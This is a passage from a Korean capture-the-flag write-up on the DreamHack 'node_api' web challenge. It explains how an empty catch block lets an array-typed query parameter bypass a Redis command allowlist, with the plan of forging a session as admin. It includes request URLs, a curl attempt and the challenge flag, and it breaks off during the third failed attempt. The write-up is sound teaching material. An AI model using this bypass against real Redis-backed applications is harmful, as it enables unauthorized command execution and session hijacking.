[๐Ÿฅ‡ Gold 1] ๋นˆ catch ํ•˜๋‚˜๊ฐ€ ๋ช…๋ น์–ด ํ—ˆ์šฉ๋ชฉ๋ก์„ ํ†ต์งธ๋กœ ์‚ผํ‚จ๋‹ค โ€” DreamHack node_api ํ’€์ด

2026-08-06ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‡ Gold 1] ๋นˆ catch ํ•˜๋‚˜๊ฐ€ ๋ช…๋ น์–ด ํ—ˆ์šฉ๋ชฉ๋ก์„ ํ†ต์งธ๋กœ ์‚ผํ‚จ๋‹ค โ€” DreamHack node_api ํ’€์ด

/show_logs ๋Š” ์ฒซ ํ† ํฐ์„ ๋ฌด์กฐ๊ฑด get ์œผ๋กœ ๊ฐˆ์•„์น˜์›Œ Redis ๋ฅผ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋ฌถ์–ด ๋‘”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ๋ฐฐ์—ด๋กœ ๋ณด๋‚ด๋ฉด Array ์—๋Š” .split ์ด ์—†์–ด TypeError ๊ฐ€ ๋‚˜๊ณ , ๋ณธ๋ฌธ์ด ๋น„์–ด ์žˆ๋Š” catch ๊ฐ€ ๊ทธ๊ฑธ ์‚ผํ‚ค๋ฉด์„œ ์ •๊ทœํ™” ์„ธ ์ค„์ด ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ฐ์–ด์ง„๋‹ค. ์ž„์˜ Redis ๋ช…๋ น์ด ์—ด๋ฆฌ๊ณ , ์„ธ์…˜ ์ €์žฅ์†Œ๊ฐ€ ๊ฐ™์€ Redis ๋ผ์„œ SET ํ•œ ๋ฒˆ์œผ๋กœ ๋‚ด ์„ธ์…˜์ด admin ์ด ๋œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” node_api ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅ‡ Gold 1 FLAG: DH{c5adc4033f8b685d84d56423082f21ac}

๋ฌธ์ œ ์„ค๋ช…์€ ํ•œ ์ค„์ด๋‹ค. "challenge for advanced web hacker!" ๊ทธ๋ฆฌ๊ณ  ํŒŒ์ผ ๋‘ ๊ฐœ โ€” main.js 90์ค„, package.json. ์„œ๋ฒ„์— ๋ถ™์œผ๋ฉด ์ด๋ ‡๊ฒŒ ๋งž์•„ ์ค€๋‹ค.

http://host3.dreamhack.games:13788/
node_api ๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋ธŒ๋ผ์šฐ์ € ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games:13788 ์ด ์ฐํ˜€ ์žˆ๊ณ  ๋ณธ๋ฌธ์—๋Š” hello undefined ํ•œ ์ค„๋งŒ ์žˆ๋‹ค. ์•„์ง ๋กœ๊ทธ์ธ ์ „์ด๋ผ req.session.userid ๊ฐ€ undefined ์ธ ์ƒํƒœ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐํ•ด ์ถœ๋ ฅํ•œ ๊ฒฐ๊ณผ๋‹ค
node_api ๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋ธŒ๋ผ์šฐ์ € ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games:13788 ์ด ์ฐํ˜€ ์žˆ๊ณ  ๋ณธ๋ฌธ์—๋Š” hello undefined ํ•œ ์ค„๋งŒ ์žˆ๋‹ค. ์•„์ง ๋กœ๊ทธ์ธ ์ „์ด๋ผ req.session.userid ๊ฐ€ undefined ์ธ ์ƒํƒœ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐํ•ด ์ถœ๋ ฅํ•œ ๊ฒฐ๊ณผ๋‹ค

hello undefined. ์„ธ์…˜์— userid ๊ฐ€ ์—†์œผ๋‹ˆ 'hello ' + undefined ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฐํžŒ ๊ฒƒ์ด๋‹ค. ๋ Œ๋”๋งํ•  ํ™”๋ฉด๋„, ๋งํฌ๋„ ์—†๋‹ค. ์ด ๋ฌธ์ œ์—์„œ ๋ณผ ๊ฒƒ์€ ์ „๋ถ€ ์†Œ์Šค ์•ˆ์— ์žˆ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…node_api
๋‚œ์ด๋„๐Ÿฅ‡ Gold 1
๋ถ„๋ฅ˜web
์ œ๊ณต ํŒŒ์ผmain.js (2,232 B), package.json
์ŠคํƒNode.js + express 4 + express-session + connect-redis 4 + redis 3
์„œ๋ฒ„๋“œ๋ฆผํ•ต VM (hostN.dreamhack.games:PORT)
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์˜ˆ์™ธ๋ฅผ ์‚ผํ‚ค๋Š” ๋นˆ catch ๋กœ ๋ช…๋ น์–ด ํ—ˆ์šฉ๋ชฉ๋ก ์šฐํšŒ โ†’ Redis ๋ช…๋ น์–ด ์ฃผ์ž… โ†’ ์„ธ์…˜ ์ €์žฅ์†Œ ์œ„์กฐ

ํ’€์ด ํ๋ฆ„์€ ์„ธ ๊ฑธ์Œ์ด๋‹ค. /show_logs ์— ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ๋ฐฐ์—ด๋กœ ๋ณด๋‚ด ๋ช…๋ น์–ด ์ •๊ทœํ™”๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๊ณ , ๊ทธ๋ ‡๊ฒŒ ์—ด๋ฆฐ ์ž„์˜ Redis ๋ช…๋ น์œผ๋กœ ์„ธ์…˜ ์ €์žฅ์†Œ๋ฅผ ์ง์ ‘ ๋“ค์—ฌ๋‹ค๋ณด๊ณ , ๋‚ด ์„ธ์…˜ ๊ฐ’์„ userid: "admin" ์œผ๋กœ ๋ฎ์–ด์“ด๋‹ค. ์ฟ ํ‚ค๋Š” ์†๋Œ€์ง€ ์•Š๋Š”๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์„ธ์…˜์€ ์ฟ ํ‚ค์— ์—†๋‹ค

์ด ๋ฌธ์ œ๋ฅผ ์ดํ•ดํ•˜๋ ค๋ฉด express-session + connect-redis ์กฐํ•ฉ์ด ๋ฐ์ดํ„ฐ๋ฅผ ์–ด๋””์— ๋‘๋Š”์ง€๋ถ€ํ„ฐ ์ •ํ™•ํžˆ ์•Œ์•„์•ผ ํ•œ๋‹ค. ์—ฌ๊ธฐ๊ฐ€ ํ๋ ค์ง€๋ฉด ๋‚˜์ค‘์— ์—‰๋šฑํ•œ ๊ณณ์„ ํŒ๋‹ค.

express-session ์ด ๋ธŒ๋ผ์šฐ์ €์— ๋‚ด๋ ค ์ฃผ๋Š” ์ฟ ํ‚ค๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

connect.sid = s%3A4Kby8u97S2SQ1kKQjFp0QzM0VPKCmGYt.YwmgnvyJAyETU58roTqSFz%2BC5VWN84%2BY4Qwucw2ZCI0
              โ””โ”€ s: โ”€โ”˜โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ์„ธ์…˜ ID(sid) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜โ””โ”€โ”€โ”€โ”€ HMAC-SHA256 ์„œ๋ช… โ”€โ”€โ”€โ”€โ”˜

์ฟ ํ‚ค์— ๋“ค์–ด ์žˆ๋Š” ๊ฑด ์„ธ์…˜ ID ์™€ ๊ทธ ID ์˜ ์„œ๋ช…๋ฟ์ด๋‹ค. ์‹ค์ œ ์„ธ์…˜ ๋ฐ์ดํ„ฐ(userid ๊ฐ™์€ ๊ฒƒ)๋Š” ์„œ๋ฒ„ ์ชฝ store ์— ์žˆ๋‹ค. connect-redis ๋ฅผ ์“ฐ๋ฉด ๊ทธ store ๊ฐ€ Redis ์ด๊ณ , ํ‚ค ์ด๋ฆ„์€ <prefix> + sid ๋‹ค. prefix ๊ธฐ๋ณธ๊ฐ’์ด ๋ฌด์—‡์ธ์ง€๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์†Œ์Šค์— ๋ฐ•ํ˜€ ์žˆ๋‹ค.

docker exec node-api-local sh -c "npm ls --depth=0; echo; grep -m4 -n prefix node_modules/connect-redis/lib/connect-redis.js"
npm ls ๋กœ ์ปจํ…Œ์ด๋„ˆ์— ๊น”๋ฆฐ ์˜์กด์„ฑ(connect-redis 4.0.4 ยท express 4.22.2 ยท redis 3.1.2)์„ ํ™•์ธํ•˜๊ณ , connect-redis ์†Œ์Šค 21๋ฒˆ ์ค„์—์„œ ์„ธ์…˜ ํ‚ค ์ ‘๋‘์–ด ๊ธฐ๋ณธ๊ฐ’์ด sess: ๋ผ๋Š” ๊ฒƒ์„ grep ์œผ๋กœ ์งš์–ด๋‚ธ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด
npm ls ๋กœ ์ปจํ…Œ์ด๋„ˆ์— ๊น”๋ฆฐ ์˜์กด์„ฑ(connect-redis 4.0.4 ยท express 4.22.2 ยท redis 3.1.2)์„ ํ™•์ธํ•˜๊ณ , connect-redis ์†Œ์Šค 21๋ฒˆ ์ค„์—์„œ ์„ธ์…˜ ํ‚ค ์ ‘๋‘์–ด ๊ธฐ๋ณธ๊ฐ’์ด sess: ๋ผ๋Š” ๊ฒƒ์„ grep ์œผ๋กœ ์งš์–ด๋‚ธ ํ„ฐ๋ฏธ๋„ ํ™”๋ฉด

21๋ฒˆ ์ค„์ด ๋‹ต์ด๋‹ค. options.prefix ๋ฅผ ์•ˆ ์ฃผ๋ฉด 'sess:' ๋‹ค. ๋ฌธ์ œ์˜ main.js ๋Š” new RedisStore({ client: redis_client }) ๋กœ๋งŒ ๋„˜๊ธฐ๋‹ˆ ๊ทธ๋Œ€๋กœ ๊ธฐ๋ณธ๊ฐ’์„ ์“ด๋‹ค. ์ฆ‰ ๋ชจ๋“  ์„ธ์…˜์ด sess:<sid> ๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ Redis ์— JSON ๋ฌธ์ž์—ด๋กœ ๋“ค์–ด ์žˆ๋‹ค.

์ด๊ฒŒ ์™œ ์ค‘์š”ํ•˜๋ƒ๋ฉด, ๊ณต๊ฒฉ ๋ชฉํ‘œ๊ฐ€ ๋‘ ๊ฐˆ๋ž˜๋กœ ๊ฐˆ๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

  • ์ฟ ํ‚ค๋ฅผ ์œ„์กฐํ•œ๋‹ค โ†’ ์„œ๋ช… ๋น„๋ฐ€ํ‚ค๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์„œ๋ช…์€ sid ์—๋งŒ ๊ฑธ๋ ค ์žˆ์–ด์„œ, ์œ„์กฐํ•ด ๋ด์•ผ "์กด์žฌํ•˜์ง€ ์•Š๋Š” ์„ธ์…˜"์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์œ ํšจํ•œ ์ฟ ํ‚ค๊ฐ€ ๋œ๋‹ค. userid ๋Š” ๋ชป ๋„ฃ๋Š”๋‹ค.
  • store ๋ฅผ ๊ณ ์นœ๋‹ค โ†’ ์„œ๋ช…์€ ๊ฑด๋“œ๋ฆด ํ•„์š”์กฐ์ฐจ ์—†๋‹ค. ๋‚ด๊ฐ€ ์ด๋ฏธ ๊ฐ–๊ณ  ์žˆ๋Š” ์ฟ ํ‚ค๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ทธ ํ‚ค์˜ ๊ฐ’๋งŒ ๋ฐ”๊พธ๋ฉด ๋œ๋‹ค.

๋‘ ๋ฒˆ์งธ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ๊ธธ์ด๋‹ค. ๋‚จ์€ ๊ฑด "Redis ์— ์“ธ ์ˆ˜ ์žˆ๋Š”๊ฐ€"๋ฟ์ด๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” 90์ค„์„ ๋๊นŒ์ง€ ์ฝ๋Š”๋‹ค

main.js ๋Š” ์งง๋‹ค. ์œ„์—์„œ๋ถ€ํ„ฐ ๋ณด์ž.

const FLAG = function() {
    try {
        return require('fs').readFileSync('flag.txt').toString();
    } catch (err) {
        return 'DH{*****}';
    }
}()
 
const redis_client = redis.createClient();
const RedisStore = connectRedis(session);
const sess = {
    resave: false,
    secret: 'dreamhack',
    store: new RedisStore({
        client: redis_client
    }),
};
 
const db = {
    'guest': 'guest',
    'dreamhack': '1234',
    'ADMIN': 'this_is_admin?'
}

secret ์ด 'dreamhack' ์œผ๋กœ ํ•˜๋“œ์ฝ”๋”ฉ๋ผ ์žˆ๋‹ค. ๋ˆˆ์— ํ™• ๋“ค์–ด์˜ค์ง€๋งŒ, ๋ฐฉ๊ธˆ ๋ณธ ์ด์œ ๋กœ ์ด๊ฒƒ๋งŒ์œผ๋กœ๋Š” ์•„๋ฌด ๋ฐ๋„ ๋ชป ๊ฐ„๋‹ค. ๊ณ„์ • ๋ชฉ๋ก๋„ ํ†ต์งธ๋กœ ๋…ธ์ถœ๋ผ ์žˆ๋Š”๋ฐ โ€” ์—ฌ๊ธฐ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์ฒซ ๋ฒˆ์งธ ํ•จ์ •์ด๋‹ค.

app.get('/flag', function(req, res) {
    if (req.session.userid === "admin") {
        res.send(FLAG)
    } else {
        res.send('hello ' + req.session.userid);
    }
});

/flag ๊ฐ€ ์š”๊ตฌํ•˜๋Š” ๊ฑด ์†Œ๋ฌธ์ž admin ์ด๊ณ , === ๋ผ ํƒ€์ž…๋„ ๊ฐ’๋„ ์ •ํ™•ํžˆ ๊ฐ™์•„์•ผ ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ db ์— ์žˆ๋Š” ๊ด€๋ฆฌ์ž ๊ณ„์ •์€ ๋Œ€๋ฌธ์ž ADMIN ์ด๋‹ค. ๋กœ๊ทธ์ธ ๋กœ์ง์€ ์ด๋ ‡๋‹ค.

function login(user) {
    return user.userpw && db[user.userid] == user.userpw;
}
 
app.get('/login', function(req, res) {
    redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
    if (login(req.query)) {
        req.session.userid = req.query.userid;   // ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ์ €์žฅ๋œ๋‹ค
        ...

req.session.userid ์—๋Š” ๋‚ด๊ฐ€ ๋ณด๋‚ธ userid ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค. db ์— admin ์ด๋ผ๋Š” ํ‚ค๊ฐ€ ์—†์œผ๋‹ˆ db['admin'] ์€ undefined ์ด๊ณ , undefined == <๋ฌด์—‡์ด๋“ > ์€ ์ฐธ์ด ๋  ์ˆ˜ ์—†๋‹ค(user.userpw ๊ฐ€ truthy ์—ฌ์•ผ ํ•˜๋ฏ€๋กœ undefined == undefined ๋กœ ๋น ์งˆ ๊ธธ๋„ ์—†๋‹ค). ๋กœ๊ทธ์ธ์œผ๋กœ ์†Œ๋ฌธ์ž admin ์„ธ์…˜์„ ๋งŒ๋“œ๋Š” ๊ธธ์€ ๋ง‰ํ˜€ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋‚จ์€ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ๋ณธ์ฒด๋‹ค.

app.get('/show_logs', function(req, res) {
    // var log_query=get/log_info
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // Todo
        // Error(403);
    }
    try {
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
            if (err) {
                res.send('ERR');
            } else {
                res.send(result);
            }
        })
    } catch (err) {
        res.send('try /show_logs?log_query=get/log_info')
    }
});

send_command ๋Š” node_redis ์˜ ์ €์ˆ˜์ค€ API๋‹ค. ์ฒซ ์ธ์ž๊ฐ€ ๋ช…๋ น ์ด๋ฆ„, ๋‘˜์งธ๊ฐ€ ์ธ์ž ๋ฐฐ์—ด. ๋ช…๋ น ์ด๋ฆ„์„ ์šฐ๋ฆฌ๊ฐ€ ์ค€ ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ค์–ด ์ฃผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ์œ„์— ๋†“์—ฌ ์žˆ๋Š” ์…ˆ์ด๋‹ค.

๋ฌผ๋ก  ๊ทธ๋ƒฅ์€ ์•ˆ ๋œ๋‹ค. log_query[0].toLowerCase() != 'get' ์ด๋ฉด 'get' ์œผ๋กœ ๊ฐˆ์•„์น˜์šฐ๋Š” ์„ธ ์ค„์ด ์•ž์„ ๋ง‰๋Š”๋‹ค. ์•ˆ๋‚ด๋Œ€๋กœ ์จ ๋ณด๋ฉด ์ด๋ ‡๋‹ค.

http://host3.dreamhack.games:13788/show_logs?log_query=get/log_info
๋ธŒ๋ผ์šฐ์ €์—์„œ show_logs ์—”๋“œํฌ์ธํŠธ์— log_query=get/log_info ๋ฅผ ๋„˜๊ธด ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— ์ „์ฒด ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์ด ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” Redis ์˜ log_info ํ‚ค์— ๋“ค์–ด ์žˆ๋Š” ์•ˆ๋‚ด ๋ฌธ์ž์—ด KEY: log_ + new Date().getTime(), VALUE: userid ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋๋‹ค
๋ธŒ๋ผ์šฐ์ €์—์„œ show_logs ์—”๋“œํฌ์ธํŠธ์— log_query=get/log_info ๋ฅผ ๋„˜๊ธด ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์— ์ „์ฒด ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์ด ๋ณด์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” Redis ์˜ log_info ํ‚ค์— ๋“ค์–ด ์žˆ๋Š” ์•ˆ๋‚ด ๋ฌธ์ž์—ด KEY: log_ + new Date().getTime(), VALUE: userid ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋๋‹ค

์ •์ƒ ๋™์ž‘์ด๋‹ค. ๊ทธ๋Ÿผ ๋‹ค๋ฅธ ๋ช…๋ น์„ ๋„ฃ์œผ๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ. del ๋กœ ์ง€์›Œ ๋ณด์ž.

http://host3.dreamhack.games:13788/show_logs?log_query=del/log_info
del/log_info ๋ฅผ ๋ณด๋ƒˆ๋Š”๋ฐ๋„ ํ‚ค๊ฐ€ ์ง€์›Œ์ง€์ง€ ์•Š๊ณ  log_info ์˜ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฒซ ํ† ํฐ์ด get ์ด ์•„๋‹ˆ๋ฉด ๋ฌด์กฐ๊ฑด get ์œผ๋กœ ๊ต์ฒด๋˜๊ธฐ ๋•Œ๋ฌธ์— DEL ์ด GET ์œผ๋กœ ๋ฐ”๋€Œ์–ด ์‹คํ–‰๋๋‹ค๋Š” ์ฆ๊ฑฐ
del/log_info ๋ฅผ ๋ณด๋ƒˆ๋Š”๋ฐ๋„ ํ‚ค๊ฐ€ ์ง€์›Œ์ง€์ง€ ์•Š๊ณ  log_info ์˜ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋Œ์•„์˜จ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฒซ ํ† ํฐ์ด get ์ด ์•„๋‹ˆ๋ฉด ๋ฌด์กฐ๊ฑด get ์œผ๋กœ ๊ต์ฒด๋˜๊ธฐ ๋•Œ๋ฌธ์— DEL ์ด GET ์œผ๋กœ ๋ฐ”๋€Œ์–ด ์‹คํ–‰๋๋‹ค๋Š” ์ฆ๊ฑฐ

DEL ์„ ๋ณด๋ƒˆ๋Š”๋ฐ ๊ฐ’์ด ๋Œ์•„์™”๋‹ค. ์ฒซ ํ† ํฐ์ด get ์œผ๋กœ ๊ต์ฒด๋˜๊ณ  GET log_info ๊ฐ€ ์‹คํ–‰๋œ ๊ฒƒ์ด๋‹ค. ํ—ˆ์šฉ๋ชฉ๋ก์ด ์ œ๋Œ€๋กœ ๋„๋Š” ๊ฑธ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•œ ์…ˆ์ด๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” ์„ธ ๋ฒˆ ํ—›์งš๊ณ  ๋‚˜์„œ์•ผ ํƒ€์ž…์ด ๋ณด์˜€๋‹ค

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” ADMIN ์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด ๋˜๋Š” ๊ฑฐ ์•„๋‹Œ๊ฐ€

db ์— ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ†ต์งธ๋กœ ์ ํ˜€ ์žˆ์œผ๋‹ˆ, ๊ฐ€์žฅ ๋จผ์ € ์†์ด ๊ฐ€๋Š” ๊ฑด ๊ทธ๋ƒฅ ๋กœ๊ทธ์ธํ•ด ๋ณด๋Š” ๊ฒƒ์ด๋‹ค.

http://host3.dreamhack.games:13788/login?userid=ADMIN&userpw=this_is_admin%3F

๋กœ๊ทธ์ธ์€ ๋œ๋‹ค. ์•Œ๋ฆผ์ฐฝ์ด login! ์ด๋ผ๊ณ  ๋œฌ๋‹ค. ๊ทธ ์ƒํƒœ๋กœ /flag ์— ๊ฐ€ ๋ณด๋ฉด ์ด๋ ‡๋‹ค.

ADMIN ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•œ ๋’ค flag ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ host3.dreamhack.games:13788/flag ์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” ํ”Œ๋ž˜๊ทธ ๋Œ€์‹  hello ADMIN ์ด ์ถœ๋ ฅ๋ผ ๋Œ€๋ฌธ์ž์™€ ์†Œ๋ฌธ์ž๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์•„ ์กฐ๊ฑด๋ฌธ์„ ํ†ต๊ณผํ•˜์ง€ ๋ชปํ–ˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค
ADMIN ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•œ ๋’ค flag ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด. ์ฃผ์†Œ์ฐฝ์€ host3.dreamhack.games:13788/flag ์ด๊ณ  ๋ณธ๋ฌธ์—๋Š” ํ”Œ๋ž˜๊ทธ ๋Œ€์‹  hello ADMIN ์ด ์ถœ๋ ฅ๋ผ ๋Œ€๋ฌธ์ž์™€ ์†Œ๋ฌธ์ž๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์•„ ์กฐ๊ฑด๋ฌธ์„ ํ†ต๊ณผํ•˜์ง€ ๋ชปํ–ˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค

hello ADMIN. ์„ธ์…˜์€ ์ œ๋Œ€๋กœ ๋งŒ๋“ค์–ด์กŒ๊ณ  ๊ฐ’๋„ ๋“ค์–ด๊ฐ”๋Š”๋ฐ, === "admin" ์„ ๋ชป ๋„˜๋Š”๋‹ค. ๋Œ€๋ฌธ์ž ํ•˜๋‚˜ ์ฐจ์ด๋‹ค.

userid ์— admin ์„ ๋„ฃ๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ this_is_admin? ๋กœ ๋ณด๋‚ด๋Š” ๊ฒƒ๋„ ๋‹น์—ฐํžˆ ์•ˆ ๋œ๋‹ค. db['admin'] ์ด undefined ๋ผ ๋น„๊ต๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค. db['constructor'] ์ฒ˜๋Ÿผ ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํƒ€๋Š” ํ‚ค๋ฅผ ๋„ฃ์œผ๋ฉด login() ์ž์ฒด๋Š” ํ†ต๊ณผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€๋งŒ(๊ฐ’์ด ํ•จ์ˆ˜๋ผ ๋ฌธ์ž์—ด๊ณผ ๋А์Šจํ•˜๊ฒŒ ๋น„๊ต๋œ๋‹ค), ๊ทธ๋ ‡๊ฒŒ ๋งŒ๋“  ์„ธ์…˜์˜ userid ๋Š” "constructor" ๋ผ์„œ /flag ์•ž์—์„œ ๋˜‘๊ฐ™์ด ๋ง‰ํžŒ๋‹ค. ๋กœ๊ทธ์ธ ๊ฒฝ๋กœ๋กœ๋Š” ์†Œ๋ฌธ์ž admin ์„ ๋งŒ๋“ค ์ˆ˜ ์—†๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” secret ์„ ์•„๋Š”๋ฐ ์ฟ ํ‚ค๋ฅผ ์œ„์กฐํ•˜๋ฉด ๋ ์•„๋‹Œ๊ฐ€

secret: 'dreamhack' ์ด ์†Œ์Šค์— ๋ฐ•ํ˜€ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ž„์˜์˜ sid ์— ๋Œ€ํ•ด ์œ ํšจํ•œ ์„œ๋ช…์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋‹ˆ, userid ๊ฐ€ admin ์ธ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ์ฐ์–ด๋‚ด๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค.

์—ฌ๊ธฐ์„œ ํ•œ์ฐธ ํ—ค๋งธ๋‹ค. ์ฟ ํ‚ค์— ๋‹ด๊ธฐ๋Š” ๊ฒŒ ์„ธ์…˜ ๋ฐ์ดํ„ฐ๊ฐ€ ์•„๋‹ˆ๋ผ ์„ธ์…˜ ID ๋ผ๋Š” ๊ฑธ ๋†“์นœ ๊ฒƒ์ด๋‹ค. express-session ์€ ์ฟ ํ‚ค์—์„œ sid ๋งŒ ๊บผ๋‚ด store ์— get(sid) ์„ ํ•˜๊ณ , ์„ธ์…˜ ๋‚ด์šฉ์€ ์ „์ ์œผ๋กœ store ๊ฐ€ ๋Œ๋ ค์ค€ ๊ฐ’์„ ์“ด๋‹ค. ์ฟ ํ‚ค๋ฅผ ์•„๋ฌด๋ฆฌ ์˜ˆ์˜๊ฒŒ ์„œ๋ช…ํ•ด ๋ด์•ผ store ์— ๊ทธ ํ‚ค๊ฐ€ ์—†์œผ๋ฉด ๋นˆ ์„ธ์…˜์ด ์ƒˆ๋กœ ๋งŒ๋“ค์–ด์งˆ ๋ฟ์ด๋‹ค.

Flask ์˜ itsdangerous ์„ธ์…˜(์ฟ ํ‚ค ์•ˆ์— ๋ฐ์ดํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ๋“ค์–ด๊ฐ„๋‹ค)๊ณผ ์Šต๊ด€์ด ์„ž์—ฌ์„œ ์ƒ๊ธด ์ฐฉ๊ฐ์ด์—ˆ๋‹ค. ์„œ๋ช… ๋น„๋ฐ€ํ‚ค๋Š” ์ด ๋ฌธ์ œ์—์„œ ๋ฏธ๋ผ์— ๊ฐ€๊น๋‹ค. ์ง„์งœ ๋ชฉํ‘œ๋Š” store ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 3 โ€” ๋ฐฐ์—ด๋กœ ๋ณด๋ƒˆ๋Š”๋ฐ ์•ˆ๋‚ด๋ฌธ๋งŒ ๋Œ์•„์˜จ๋‹ค

.split ์ด ๋ฌธ์ž์—ด ๋ฉ”์„œ๋“œ๋ผ๋Š” ๋ฐ ์ƒ๊ฐ์ด ๋ฏธ์น˜๋ฉด, ๊ฐ’์„ ๋ฐฐ์—ด๋กœ ๋งŒ๋“ค์–ด ๋ณด๋‚ด๋Š” ๋ฐœ์ƒ๊นŒ์ง€๋Š” ๊ธˆ๋ฐฉ ๊ฐ„๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ฒซ ์‹œ๋„๋Š” ์ด๋ ‡๊ฒŒ ์งฐ๋‹ค.

curl -s -g "http://host3.dreamhack.games:13788/show_logs?log_query[0]=keys&log_query[1]=*"

๋Œ์•„์˜จ ๊ฑด try /show_logs?log_query=get/log_info ๋ผ๋Š” ์•ˆ๋‚ด๋ฌธ์ด์—ˆ๋‹ค. ์˜ˆ์™ธ๊ฐ€ ๋‚ฌ๋‹ค๋Š” ๋œป์ธ๋ฐ, ์™œ ๋‚ฌ๋Š”์ง€๊ฐ€ ๋ฐ”๋กœ ์•ˆ ๋ณด์˜€๋‹ค.

